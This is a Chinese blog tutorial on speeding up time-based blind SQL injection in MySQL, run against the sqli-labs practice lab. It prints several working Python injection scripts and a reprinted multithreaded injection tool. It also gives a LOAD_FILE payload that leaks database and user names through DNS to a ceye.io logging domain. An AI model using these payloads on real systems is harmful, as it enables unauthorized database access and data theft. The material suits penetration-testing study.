时间延迟盲注的三种加速注入方式[mysql篇]

admin

原文链接：http://www.ch1st.cn/?p=44

引言

在日常渗透中，我们会遇到时间延迟盲注的场景，那么如何提高注入的速度，快速的达到注入的效果就是我们白帽子要关注的问题了。于此，笔者收集了网上三种加快时间延迟注入的方法供大伙审阅

本文提到的场景是基于手写exp注入的方式，并未用到sqlmap这类自动化注入的工具。因为，先前碰过注入payload需要自定义的情况，又因本身对sqlmap自动注入化工具的操作也不熟悉。

所以还是走上了手写exp的道路，基于sqli-lab的Less-15作为一个测试，并且以读出数据库的名称作为结果，比较三种方式的时间长度来达到最优的选择。

日常注入手法

判断注入：

时间盲注测试

一般碰到这种情况，盲注我就直接写payload，下面贴上来

菜鸡payload展示

1. #coding=utf-8
   
2. 
   
3. import requests
   
4. import time
   
5. 
   
6. database_name=""
   
7. url="http://localhost/Less-15/"
   
8. headers={
   
9.         'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
   
10.         'Host': 'localhost'
    
11.         }
    
12. currentTime=time.time()
    
13. for i in range(1,9):
    
14.         for j in range(65,123):
    
15.                 payload="and if(left(database(),%d)='%s',sleep(5),null)#"%(i,database_name+chr(j))
    
16.                 data={
    
17.                 "uname":"admin\'"+payload,
    
18.                 "passwd":"admin",
    
19.                 }
    
20.                 starttime=time.time()
    
21.                 name=requests.post(url,data=data,headers=headers)
    
22.                 if time.time()-starttime>=5:
    
23.                         database_name+=chr(j)
    
24.                         break
    
25. finishTime=time.time()
    
26. print("[+]一共使用了"+str(finishTime-currentTime)+"s")
    
27. print("[+]数据库名字:"+database_name)

复制代码

用了40s

然后尝试运用网上收集的方法

Dnslog快速查询

dnslog注入的话，是存在一定的局限性的。

Tips-1:

首先需要执行mysql的load_file函数，但是load_file只能在位于Windows上的MySQL上运行。

这牵扯到Windows上UNC路径的问题，百度上的解释如下

这也就解释了为什么我们执行的sql语句中

1. SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.6u1akf.ceye.io\\abc'));

复制代码

为什么要concat('\\\\')来执行load_file语句了,\\\\会被转义成\\,于此就符合了UNC规范了.而在Linux中并没有遵守UNC这个规范，所以load_file只能适应在Windows上使用了.

Tips-2:

MySQL数据库配置中要设置secure_file_priv为空,才能完整的去请求DNS.

1. secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
   
2. 
   
3. ure_file_priv的值为null ，表示限制mysqld 不允许导入|导出
   
4. 当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下
   
5. 当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制

复制代码

dnslog注入开始

因为笔者切换了操作系统，所以再次测试先前的payload所有的时间，以对dnslog作比较

这里使用了164s，

然后我们执行dnslog获取数据库名字

pyload如下:

1. 'and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(database())),'.xxx.ceye.io\\abc'))),sleep(5),1)%23

复制代码

然后再去请求

数据库中用了23秒.但是在DNS那块是1秒就收到了数据.

将其16进制转换为字符串，得到security

小结

使用dnslog进行盲注，速度是很快的，但是也有局限性.

1.网站必须运行在Windows平台上

2.MySQL中的secure_file_priv必须为空

3.域名前缀长度限制在63个字符，解决办法是用mid()函数来获取。

4.域名前缀不支持一些特殊字符，如*,解决办法是用hex()或者其他加密函数，获取到数据后再解密。

5.sqlmap也提供了这种注入方法,参数：–dns-domain

二分法查找

这块牵扯到脚本的编写问题，就是这类的折半查找。

利用ascii码作为条件来查询，ascii码中的字母范围在65~122之间，以这个范围数的中间数为条件，判断payload中的传入的ASCII码是否大于这个中间数，如果大于，就往中间数~122这块查找。反之亦然~

这里笔者采用了通过ASCII码判断数据库名字，所以时间会比上个例子中提到的poc要长.这里给贴出不使用二分法的脚本与之使用了二分法的脚本对比.

未使用二分法的payload：

1. #coding=utf-8
   
2. 
   
3. import requests
   
4. import time
   
5. 
   
6. database_name=""
   
7. url="http://localhost/sqli/Less-15/"
   
8. headers={
   
9.         'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
   
10.         'Host': 'localhost'
    
11.         }
    
12. currentTime=time.time()
    
13. for i in range(1,9):
    
14.         for j in range(65,123):
    
15.                 payload='and if(ascii(substr(database(),%d,1))=%d,sleep(5),1)#' % (i,j)
    
16.                 data={
    
17.                                 "uname":"admin\'"+payload,
    
18.                                 "passwd":"admin",
    
19.                         }
    
20.                 print data
    
21.                 starttime=time.time()
    
22.                 name=requests.post(url,data=data,headers=headers)
    
23.                 if time.time()-starttime>=5:
    
24.                         database_name+=chr(j)
    
25.                         break
    
26. try:
    
27.         finishTime=time.time()
    
28.         print("[+]一共使用了"+str(finishTime-currentTime)+"s")
    
29.         print("[+]数据库名字:"+database_name)
    
30. except Exception as e:
    
31.         print ""

复制代码

通过上述可知用原payload用了426.5秒.

下面贴出自己写的payload(编程水平差，各位看官见谅)

1. # coding=utf-8
   
2. # author ch1st 2018.5.1
   
3. import requests
   
4. import time
   
5. 
   
6. m2=0
   
7. o=0
   
8. count=0
   
9. status=0
   
10. database_name=""
    
11. s=False
    
12. currentTime=time.time()
    
13. url="http://localhost/sqli/Less-15/"
    
14. headers={
    
15.         'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
    
16.         'Host': 'localhost'
    
17.         }
    
18. midValue=(65+123)/2
    
19. 
    
20. 
    
21. def check(length,m):
    
22.         global o
    
23.         global count
    
24.         global s
    
25. 
    
26.         mid=0
    
27.         payload='and if(ascii(substr(database(),%d,1))>%d,sleep(2),1)#' % (length,m)
    
28.         data={
    
29.                         "uname":"admin\'"+payload,
    
30.                         "passwd":"admin",
    
31.                 }
    
32.         count+=1
    
33.         get(length,m)
    
34.         get2(length,m)
    
35.         if(status==1):
    
36.                 return True
    
37.        
    
38.         starttime=time.time()
    
39.         name=requests.post(url,data=data,headers=headers)
    
40.        
    
41.         if time.time()-starttime>=2:
    
42.                 mid=(m+123)/2
    
43.                 check(length,mid)
    
44.                 s=True
    
45.         else:
    
46.                 mid=(m+65)/2
    
47.                 check(length,mid)
    
48.                 s=False
    
49. def get(length,m):
    
50.         global database_name
    
51.         global status
    
52.         global m2
    
53. 
    
54.         status=0
    
55.         payload='and if(ascii(substr(database(),%d,1))=%d,sleep(5),1)#' % (length,m)
    
56.         data={
    
57.                         "uname":"admin\'"+payload,
    
58.                         "passwd":"admin",
    
59.                 }
    
60.         starttime=time.time()
    
61.         print data
    
62.         name=requests.post(url,data=data,headers=headers)
    
63.         if time.time()-starttime>=5:
    
64.                 database_name+=chr(m)
    
65.                 status=1
    
66. def get2(length,m):
    
67.         global status
    
68.         global s
    
69.         global count
    
70.         if(count>2):
    
71.                 if s==True:
    
72.                         if(m>80):
    
73.                                 for length_n in range(m,122):
    
74.                                         if(status==1):
    
75.                                                 count=0
    
76.                                                 break
    
77.                                         get(length,length_n)
    
78.                         else:
    
79.                                 for length_n in range(65,m+1):
    
80.                                         if(status==1):
    
81.                                                 count=0
    
82.                                                 break
    
83.                                         get(length,length_n)
    
84. 
    
85. for length in range(1,9):
    
86.         check(length,midValue)
    
87.         o=0
    
88.         count=0
    
89. try:
    
90.         finishTime=time.time()
    
91.         print("[+]一共使用了"+str(finishTime-currentTime)+"s")
    
92.         print("[+]数据库名字:"+database_name)
    
93. except Exception as e:
    
94.         print ""

复制代码

从这里我们可以看出，使用了二分法查找节约了大约一半时间.206.6s

当然啦，应该还能更少时间的。那就要各位看官自己去优化脚本语句了~~

二进制延迟注入

这里笔者主要是观看了张炳帅[如果M微笑,xsser]大佬在Freebuf所开的公开课了解到的一种加快注入速度的方式,主要是通过MySQL语句的优化从而达到提高盲注速度的效果.

这里贴上在线观看地址:http://open.freebuf.com/inland/574.html

主要是说将ascii码转换为二进制,然后判断首位是0还是1,从而来更快的判断出数据库名字.这里贴上课程中的一个关键语句截图.

这里附上Lcy大牛的payload.

1. #!/usr/bin/env python
   
2. # -*- coding: utf-8 -*-
   
3. # @Author: Lcy
   
4. # @Date:   2015-08-29 22:26:17
   
5. # @Last Modified by:   Sunshie
   
6. # @Last Modified time: 2015-08-30 01:48:41
   
7. # blog:https://phpinfo.me
   
8. # 延迟注入工具
   
9. import urllib2
   
10. import time
    
11. import socket
    
12. import threading
    
13. import requests
    
14. 
    
15. class my_threading(threading.Thread):
    
16.                 def __init__(self, str,x):
    
17.                                 threading.Thread.__init__(self)
    
18.                                 self.str = str
    
19.                                 self.x = x
    
20.                 def run(self):
    
21.                         global res
    
22.                         x=self.x
    
23.                         j = self.str
    
24.                         url = "http://localhost/demo/1.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"
    
25.                         html = request(url)
    
26.                         verify = 'timeout'
    
27.                         if verify not in html:
    
28.                                 res[str(j)] = 0
    
29.                                 #print 1
    
30.                         else:
    
31.                                 res[str(j)] = 1
    
32.        
    
33. 
    
34. def request(URL):
    
35.         user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
    
36.         req = urllib2.Request(URL, None, user_agent)  
    
37.         try:
    
38.                 request = urllib2.urlopen(req,timeout=2)
    
39.         except Exception ,e:
    
40.                 time.sleep(2)
    
41.                 return 'timeout'
    
42.         return request.read()        
    
43. 
    
44. def curl(url):
    
45.         try:
    
46.                         start = time.clock()
    
47.                         requests.get(url)
    
48.                         end = time.clock()
    
49.                         return int(end)
    
50.         except requests.RequestException as e:
    
51.                         print u"访问出错!"
    
52.                         exit()
    
53. def getLength():
    
54.         i = 0
    
55.         while True:
    
56.                 print "[+] Checking: %s \r" %i
    
57.                 url = "http://localhost/demo/1.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"
    
58.                 html = request(url)
    
59.                 verify = 'timeout'
    
60.                 if verify in html:
    
61.                         print u"[+] 数据长度为： %s" %i
    
62.                         return i
    
63.                
    
64.                 i = i + 1
    
65. def bin2dec(string_num):
    
66.         return int(string_num, 2)
    
67. 
    
68. def getData(dataLength):
    
69.         global res
    
70.         data = ""
    
71.         for x in range(dataLength):
    
72.                 x = x + 1
    
73.                 #print x
    
74.                 threads = []
    
75.                 for j in range(8):
    
76.                         result = ""
    
77.                         j = j + 1
    
78.                         sb = my_threading(j,x)
    
79.                         sb.setDaemon(True)
    
80.                         threads.append(sb)
    
81.                         #print j
    
82.                 for t in threads:
    
83.                                 t.start()
    
84.                 for t in threads:
    
85.                                 t.join()
    
86.                 #print res
    
87.                 tmp = ""
    
88.                 for i in range(8):
    
89.                         tmp = tmp + str(res[str(i+1)])
    
90.                 #print chr(bin2dec(tmp))
    
91.                 res = {}
    
92.                 result = chr(bin2dec(tmp))
    
93.                 print result
    
94.                 data = data + result
    
95.                 sb = None
    
96.         print "[+] ok!"
    
97.         print "[+] result:" + data
    
98. 
    
99. 
    
100. if __name__ == '__main__':
     
101.         stop = False
     
102.         res = {}
     
103.         length = getLength()
     
104.         getData(length)

复制代码

pyload原地址:

https://phpinfo.me/2015/08/30/1026.html

总结

搞安全最重要的还是兴趣,坚持.~  这条路上最快乐的事情莫过于去认识一群志合道同的路友们~